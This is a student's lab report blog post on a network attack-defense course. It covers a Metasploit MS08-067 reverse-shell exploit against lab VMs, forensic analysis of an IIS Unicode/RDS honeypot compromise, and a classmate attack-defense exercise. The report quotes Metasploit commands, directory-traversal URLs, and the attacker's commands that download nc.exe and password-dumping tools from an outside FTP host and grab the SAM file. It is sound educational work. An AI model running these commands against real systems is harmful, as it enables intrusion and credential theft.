20211916 2021-2022-2 《网络攻防实践》第六次作业

1.实践内容

(1)动手实践Metasploit windows attacker

任务:使用metasploit软件进行windows远程渗透统计实验

具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

(2)取证分析实践:解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

(3)团队对抗实践:windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

2.实践过程

实践1 Metasploit Windows Attack

任务:使用Metasploit软件进行Windows远程渗透攻击实验。

具体任务内容:使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。

实践步骤:
(1)启动metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb 之一;
(2)使用exploit: windows/smb/ms08_ 067 netapi 渗透攻击模块;
(3)选择攻击PAYLOAD为远程shell,( 正向或反向连接均可);
(4)设置渗透攻击参数(RHOST, LHOST, TARGET等);
(5)执行渗透攻击;
(6)查看是否正确得到远程Shell,并查看获得的权限。

名称 IP
kali 192.168.200.6
Win2kServer 192.168.200.116
  • 确认kali和win2k可以互相ping通

  • 在kali打开metasploit(左上角最靠边的图标,点进去搜索metasploit)

  • 仍然在metasploit出来的shell NO.1界面,执行search ms08_067搜索ms08_067漏洞,会显示出找到的渗透模块

  • 针对这个漏洞的渗透攻击模块

接着执行use exploit/windows/smb/ms08_067_netapi进入该漏洞模块的使用

  • 执行show payloads会显示出有效的攻击载荷,依此选择攻击负载模块


另外,命令show targets会显示出可以被攻击的靶机的操作系统型号

  • shell_reverse_tcp,set PAYLOAD 3,选择3(在show payloads图中的3),反向连接tcp,设置攻击有效载荷

* show options,显示出我们在攻击前需要设置的数据

按照靶机RHOST,攻击机LHOST的原则配置相应的IP
set RHOST 192.168.200.116
set LHOST 192.168.200.6

  • 再次show options,查看payloads的状态

  • 设置目标操作系统平台类型,set TARGET 0,0代表自动匹配

  • 在这步之前记得打开wireshark抓包数据(抓包到的数据用于实践3),输入exploit开始攻击

待抓包到数据后,回车,界面才出现C:\WINNTsystem32>

  • 分别在kali和winserver上执行ipconfig/all得到如下图所示,查询到了靶机和攻击机的IP

将二者的ip地址、Mac地址,进行对比,是一样的,所以攻击成功

实践 2 取证分析实践:解码一次成功的NT系统破解攻击

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106 (主机名为: lab.wiretrip.net), 这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。
你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。
(1)攻击者使用了什么破解工具进行攻击?
(2)攻击者如何使用这个破解工具进入并控制了系统?
(3)当攻击者获得系统的访问权后做了什么?
(4)我们如何防止这样的攻击?
(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

实践过程:

下载老师上传的demo_NT_attack_data压缩包,在主机wireshark中打开里面的文件snort-0204@0117

发现日志文件由以下内容组成:可识别的HTTP协议内容;可识别的SQL语言代码内容;可识别的系统操作代码内容;不可识别的数据(二进制数据)。

先使用wireshark自带统计工具,查看http请求,操作是:菜单栏“统计->HTTP->请求


发现http请求了下面的网址:www.black-hats.com;www.BLACK-HATS.com;lab.wiretrip.net

去试了一下,www.black-hats.com似乎是个邮箱的网页

访问网页的时候,会从网页服务器下载很多文件到本地,在wireshark中看到了一些FTP(文件传输协议),上图中的gif图片文件,lab.wiretrip.net部分应该是这次的攻击代码了

  • 在图中lab.wiretrip.net下出现了很多%C0%AF,网上查了一下,%C0%AF是“/”字符的非法UTF-8表示方式,ISS的Unicode漏洞攻击其中说到:IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对它进行解码。在英文版的WIN2000中 “/”编码为“%c0%af”。
    Unicode漏洞(MS00-078/MS01-026)
    如向IIS服务器发出包括非法UTF-8序列的URL,攻击者可使服务器逐字“进入或退出”目录并执行任意程序,该攻击即称为目录转换攻击

  • 设置过滤条件为:ip.addr==172.16.1.106 and http

  • 编号为117的这一行/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini

    其中boot.ini是NT系统的启动文件,%c0af是"/"的Unicode编码。同样可以说明攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况

再往下,发现攻击者试图向服务器获取一个msadcs.dll文件,是远程数据访问服务文件,查阅资料NT4.0下的msadcs.dll漏洞的利用得知IIS有漏洞msadcs.dll,dll存在RDS漏洞,其中介绍了RDS,!ADM!ROX!YOUR!WORLD!正好与我们所分析的log文件中匹配,故猜测是RDS漏洞攻击;

  • 接下来,我们筛选http,在http流中可以发现一些shell脚本,如下


看看攻击者如何进入控制系统,稍微整理出一些shell语句:

shell (“cmd /c echo werd >> c : f u n ” ) ;
shell ( “cmd /c echo user johna2k > ftpcom” ) ;
shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
shell ( “cmd /c echo get pdump.exe >> ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) ;
shell ( “cmd /c echo quit>>ftpcom” )
shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” ) ;
shell ( “cmd /c pdump .exe>>new.pass” ) ;
shell ( “cmd /c echo get samdump.dll>>ftpcom” ) ;
shell ( “cmd /c echo get pdump.exe>>ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) ;
shell ( “cmd /c echo quit>>ftpcom” ) ;
shell ( “cmd /c ftp – s : ftpcom ) ;
.
.
.

  • 由上述的shell语句,可以发现攻击者创建了一个ftpcom脚本,并使用ftp连接www.nether.net(连接了好几次),并尝试下载** samdump.dll、pdump.exe和nc.exe(攻击工具)**。然后我筛选了ftp,追踪TCP流发现,这个连接由于口令错误导致连接失败。说明攻击还尚未成功

  • 因为攻击者每次都需要进行ftp下载所需要的攻击的工具,那么我们可以直接筛选ftp连接,找到成功的ftp连接就好。发现直到1106才连接成功。

  • 攻击者就成功进入了系统。往下拉,在序号1233处,我们跟踪数据流,发现然后攻击者连接6969端口,并获得了访问权限

  • 分析下攻击者获得系统访问权后做了什么。首先用条件“tcp.port == 6969”进行筛选,追踪一下TCP流

  • 发现攻击者想获得Administrator权限,运行net session但是访问失败,又试了net users,主机的用户列表只有Administrator

  • 接着攻击者发了echo消息到C盘目录文件README.NOW.Hax0r,他还尝试net group查看组用户、net localgroup查看本地组用户、以及net group domain admins,都失败了。

  • 然后攻击者寻找msadc目录,并尝试执行pdump(抓包工具)来破解出口令密文,失败了,攻击者似乎放弃,删掉了samdump和pdump

  • 接着往下,我看到rdisk -s/,rdisk是修复磁盘程序,rdisk -s/是备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。(他用rdisk尝试获得SAM口令文件(安全账号管理器))

回答问题:
(1)攻击者使用了什么破解工具进行攻击?
根据上述,有nc.exe、pdump.exe

(2)攻击者如何使用这个破解工具进入并控制了系统?
nc.exe:完成远程主机连接后,利用telnet操作实现对操作系统的控制。

(3)当攻击者获得系统的访问权后做了什么?
见上述

(4)我们如何防止这样的攻击?
自身的口令要是强口令,这样可以增大破解口令难度;
及时、定期的到微软官方网站下载针对上述漏洞的补丁。
禁用一些RDS服务
定期的扫描自身的主机,查看是否存在漏洞。

(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
攻击者应该意识到了其攻击的是蜜罐主机。在tcp流中,发现他留下了一句话:这是他见过的最好的蜜罐主机,如图:

实践3 团队对抗实践: Windows系统远程渗透攻击与分析

攻防对抗实践内容:攻击方Metasploit Windows Attack,防御方: wireshark 捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补J进行修补,给出攻防过程报告。

攻击方:使用metasploit, 选择metasploitable中的漏洞进行渗透攻击,获得控制权。

防守方:使用tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

首先需要将攻击方和防守方的网络适配器改成桥接模式:

并且攻击方和防守方需要在同一局域网内。

(1)我作为攻击方,攻击刘宁同学。

名称 IP
我的kali 192.168.0.187
刘宁的Win2kServer 192.168.0.152

其中,我是攻击方:192.168.0.187

刘宁同学是防守方:192.168.0.152

测试两台主机的连通性:

以下都是重复的实践1的步骤,过程我就不再截图展示了,就直接显示执行的命令吧,如下:
(1)打开kali的metasploit
(2)search ms08_067,搜索ms08_067漏洞
(3)use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用
(4)show payloads,显示出有效的攻击载荷
(5)set PAYLOAD 3,设置攻击有效载荷
(6)show options,显示我们需要在攻击前需要设置的数据
(7)按照靶机RHOST,攻击机LHOST的原则配置IP
set RHOST 192.168.0.152
set LHOST 192.168.0.187
(8)show options,再次查看payload状态
(9)set TARGET 0,设置目标操作系统平台类型
(10)打开wireshark进行监听,再使用攻击命令exploit

并使用如下命令:
cd ..
make mkdir
mkdir tanli

在刘宁的主机中看见了我创建的两个文件夹:

(2)我作为防守方,邓烨同学攻击我,此时我用的是个人热点,IP地址有变化,如下:

名称 IP
邓烨的kali 192.168.43.148
我的Win2kServer 192.168.43.168

其中,邓烨是攻击方:192.168.43.148

我是防守方:192.168.43.168

首先在我的Win2kServer中方下载好wireshark 1.0.0 版本,太高的版本该虚拟机不支持。

如第一步一样。

以下都是重复的步骤,过程我就不再截图展示了,就直接显示执行的命令吧,如下:
(1)打开kali的metasploit
(2)search ms08_067,搜索ms08_067漏洞
(3)use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用
(4)show payloads,显示出有效的攻击载荷
(5)set PAYLOAD 3,设置攻击有效载荷
(6)show options,显示我们需要在攻击前需要设置的数据
(7)按照靶机RHOST,攻击机LHOST的原则配置IP
set RHOST 192.168.43.168
set LHOST 192.168.43.148
(8)show options,再次查看payload状态
(9)set TARGET 0,设置目标操作系统平台类型
(10)打开wireshark进行监听,再使用攻击命令exploit

用wireshark进行监听可以看到捕捉到了被攻击的过程,源地址是192.168.43.148,目标地址是192.168.43.168,攻击机向靶机发了许多SMB数据包。攻击利用的漏洞有:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞。

3.学习中遇到的问题及解决

问题:在我作为防守方时,设置我的window靶机IP地址时总显示重名,我猜测学校局域网上192.168.0.128-192.168.0.255的IP已被用完。

解决办法:用自己的热点,使攻击方和防守方都使用该热点构成其他局域网。

4.学习感想和体会

学习收获很多,尤其是Windows系统远程渗透攻击,感觉很有意思。

posted @ 2022-04-24 18:45  banlichestnut  阅读(110)  评论(0编辑  收藏  举报